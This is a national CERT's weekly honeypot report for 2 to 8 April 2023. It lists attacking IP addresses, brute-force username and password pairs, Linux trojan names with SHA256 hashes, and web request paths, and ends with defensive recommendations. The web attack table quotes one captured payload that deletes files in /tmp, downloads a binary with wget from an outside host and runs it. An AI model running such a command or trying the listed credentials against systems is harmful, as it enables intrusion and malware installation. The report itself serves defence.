TZ-CERT HONEYPOTS WEEKLY REPORT
Period : 2nd to 8th of April, 2023
Report No.: TZ-CERT/WRHP/2023/14

1. NETWORK ATTACKS

A total of **250,531** attacks have been recorded compared to last week **235,672 attacks** within the period of this report. The top 10 Network attacks with malicious IPs, commonly used usernames and passwords is as in **table1** below:

SN	ATTACKING IPS	USERNAMES	PASSWORDS
1.	104.194.11.254	root	admin
2.	221.181.181.95	admin	123456
3.	116.110.87.74	support	support
4.	195.3.147.52	PlcmSplp	PlcmSplp
5.	193.105.134.95	user	1234
6.	116.105.212.180	guest	password
7.	116.98.161.192	ubuntu	12345
8.	116.110.127.23	345gs5662d34	345gs5662d34
9.	116.110.20.117	supervisor	user
10.	116.98.173.164	test	root

Table1: Top 10 Network attacking IP

Most of the usernames and passwords listed are commonly used, thus its advised review of usernames and password be made to avoid use of the above listed credentials and default ones. Use of password policies is the best practice.

2. MALICIOUS SOFTWARE (MALWARE)

During the week the sensors recorded, a total of **182,858** malicious software distributed compared to last week in which was **313,951.**

Below listed are top ten malicious software and their hashes.

SN	ATTACKING IPS	MALICIOUS SOFTWARE	HASHES(SHA256)
1.	41.78.64.254	trojan.hajime/linux	a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3
2.	41.59.211.41	trojan.linux/gafgyt	299a0979b6b4ac120a61cf40f494337a3acc53a9fb0a087a83b960b6dcc670f9
3.	41.59.86.254	trojan.linux/hajime	d5601202dff3017db238145ff21857415f663031aca9b3d534bec8991b12179a
4.	129.227.76.238	trojan.linux/hajime	020f1fa6072108c79ed

			6f553f4f8b08e157bf17f9c260a76353300230fed09f0
5.	45.71.36.20	trojan.linux	0287f63135169666f3fd73e5035bb2f3e13cda458fd4c5099507d426618464af
6.	41.44.180.154	trojan.linux	63716fe3b9c2b7e35ba87882a1c77ad90a892f06e2d7318c385c44a9300a86cc
7.	184.168.22.174	trojan.linux	c95cb25bd21b55b9968ea0fe16c26da063f12e48202c773a6a71f6b024b8286b
8.	41.60.233.71	Trojan.Linux.Generic.246192	e6ce9937266d30a22c6aa5c48d818dba86491b1becf1fe0ca07b3de85d2d88ab
9.	182.180.117.155	trojan.linux/xorddos	ea40ecec0b30982fbb1662e67f97f0e9d6f43d2d587f2f588525fae683abea73
10.	41.235.241.135	Trojan.Win32.Eb.dqb	b0c1267102b7596000f1b48965c0936b58cd18aae35a1de97a4cf251718a1946

Table2: Top 10 Malicious attacking IP

3. WEB ATTACKS

During the week the sensors recorded a total of **2,811** web attacks compared to last week which was **3,154.**

From the table the top 10 web-based attacks and their associated requests sent to web servers for the period between 2nd to 8th of April, 2023, are detailed. The requests are the payloads.

SN	ATTACKING IPS	TOP URI
1.	103.35.65.197	/
2.	122.168.198.123	/users/sign_in
3.	193.32.162.159	/boaform/admin/formLogin
4.	151.237.140.106	/.env
5.	109.237.96.251	/favicon.ico
6.	152.89.196.54	/geoip/

7.	41.78.174.77	/?XDEBUG_SESSION_START=phpstorm
8.	179.43.177.242	/client/get_targets
9.	185.224.128.239	/robots.txt
10.	41.78.174.124	/shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws

Table3: Top 10 web attacking IP

4. RECOMMENDATIONS

The Honeypot sensors have recorded IP addresses with most common malware used in the world today. Monitoring of the listed IP address is advised and further to: -

4.1 Note that most of malicious IP addresses captured are also listed as malicious IP addresses in other sources that are also observing security attacks; thus, security measures should be considered to counter act, including monitoring of the IPs in networks. Most likely the same resources might be used for further attacks.

4.2 Discourage usage of listed login resources (usernames and passwords) and consider deploying mechanisms to monitor login attempts.

4.3 Thoroughly check for suspicious files of hashes listed in **Table 2**.

4.4 Deploy Intrusion Detection System (IDS) and configure to flag detection of attacks associated with list of resources provided especially the IP addresses and the web requests.